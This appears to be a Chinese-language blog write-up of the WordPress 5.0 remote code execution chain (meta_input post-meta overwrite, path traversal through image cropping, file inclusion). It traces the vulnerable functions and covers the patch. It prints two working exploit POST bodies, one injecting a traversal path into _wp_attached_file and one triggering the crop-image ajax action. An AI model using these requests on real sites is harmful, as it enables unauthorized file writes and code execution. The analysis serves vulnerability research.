0x00 前言
该漏洞由RIPS团队发现并公开在其Blog,在其blog中可发现该漏洞为数据覆盖+目录穿越写文件+文件包含三个漏洞组成的远程代码执行漏洞。
根据其提供的漏洞细节可发现在edit_post()
中未对post数据做任何过滤,导致可以传入meta_input
数组并最终对数据库内容进行覆盖。这一方法在发生在对媒体文件修改属性时调用,因此需要具有author权限,在操作的媒体文件数据中_wp_attached_file
字段指明了文件路径,而在对图片进行裁剪操作时,图片存放文章取决于该字段,因此可以实现目录穿越向任意目录写文件,最终可以将文件写入到主题文件进行包含的位置可实现远程代码执行。
0x01 漏洞分析
数据覆盖漏洞
根据RIPS提供的信息,漏洞发生在edit_post
方法和update_post_meta
方法中,直接跟踪到这两个方法。
1 | function edit_post( $post_data = null ) { |
在edit_post
方法中发现对post来的数据未做任何处理。
而对图片属性进行修改时可直接诱发该方法
然后调用update_post_meta
方法根据post_ID修改post meta field
,调用wp_update_post
方法更新post_data。
在wp_update_post
方法中会调用wp_insert_post()
在wp_insert_post()
方法中遍历meta_input调用update_post_meta
对数据进行更新操作,
函数调用栈,
至此可覆盖数据库中_wp_attached_file
内容
post数据包,只需在正常修改图片属性post数据中添加&meta_input[_wp_attached_file]=/test/boogle.jpg
1
2
3post
_wpnonce=6b7df5b262&_wp_http_referer=%2Fwordpress-5.0%2Fwp-admin%2Fpost.php%3Fpost%3D7%26action%3Dedit%26message%3D1&user_ID=2&action=editpost&originalaction=editpost&post_author=2&post_type=attachment&original_post_status=inherit&referredby=http%3A%2F%2F127.0.0.1%2Fwordpress-5.0%2Fwp-admin%2Fpost.php%3Fpost%3D7%26action%3Dedit&_wp_original_http_referer=http%3A%2F%2F127.0.0.1%2Fwordpress-5.0%2Fwp-admin%2Fpost.php%3Fpost%3D7%26action%3Dedit&post_ID=7&meta-box-order-nonce=39163aa91a&closedpostboxesnonce=1e6416f7d7&post_title=avatar&samplepermalinknonce=7548fad608&excerpt=123&_wp_attachment_image_alt=123&content=sdd&attachment_url=http%3A%2F%2F127.0.0.1%2Fwordpress-5.0%2Fwp-content%2Fuploads%2F2019%2F02%2F2-4.jpg%23%2F..%2F..%2F..%2F..%2Fthemes%2Ftwentynineteen%2F32.jpg&original_publish=Update&save=Update&advanced_view=1&comment_status=open&add_comment_nonce=17653878f1&_ajax_fetch_list_nonce=82034e96c4&_wp_http_referer=%2Fwordpress-5.0%2Fwp-admin%2Fpost.php%3Fpost%3D7%26action%3Dedit%26message%3D1&post_name=avatar-2&meta_input[_wp_attached_file]=/test/boogle.jpg
目录穿越写文件
上面我们已经能够控制_wp_attached_file
的值,但这并什么带来什么实际影响,因此进行全局搜索,看看哪些地方用到了这个值,并进一步进行利用。
搜索发现在get_attached_file()
方法中,对该值进行了获取,最拼接在$file
变量中返回
补充:在wordpress在图片裁剪时,首先会从默认目录
wp-content\uploads\yyyy\mm
查找,如果不存在,则会从本地服务器下载,下载url为http://127.0.0.1/wordpress/wp-content/uploads
+_wp_attached_file
拼接的结果,这里可以使用url获取资源的特点,如boogle.jpg?../../boo.jpg
本地查找不存在而下载时又会定位到boogle.jpg,而忽略?
后面的内容。另外windows目录中不允许存在?
,可以使用#
代替。
然后继续向上跟踪查看哪里调用了该方法。定位到wp_crop_image()
方法,并且在该方法中进行了简单拼接作为文件名进行了保存,而该方法的作用为裁剪图片,即我们可以能控制裁剪操作后图片保存的位置。
继续向上跟踪,在wp_ajax_crop_image()
方法中对裁剪方法进行了调用
跟踪到这时本来一切顺利,心思只要进行图片裁剪便会触发漏洞,然而还是水平太菜,没有触发漏洞,也没有定位到哪里调用了该方法,此处膜拜大佬。
问题出现在在进行裁剪时没有调用该裁剪方法,而需要修改数据包手动调用。
在admin-ajax.php
对这些方法进行了判断
最终在apply_filters()
方法中,进行了动态调用
这里直接附post1
2
3POST
action=crop-image&_ajax_nonce=b259baa5c9&postid=8&history=%5B%7B%22c%22%3A%7B%22x%22%3A24%2C%22y%22%3A21%2C%22w%22%3A40%2C%22h%22%3A44%7D%7D%5D&target=all&context=&do=save&id=8&cropDetails[dst_width]=8&cropDetails[dst_height]=8
文件包含
后面讲继续分析,这里可以参考https://mp.weixin.qq.com/s/9DMGLOvFJUjq8MaMr9eg6A
0x02 补丁修复
补丁增加了对meta_input
的过滤,将其从post中移除。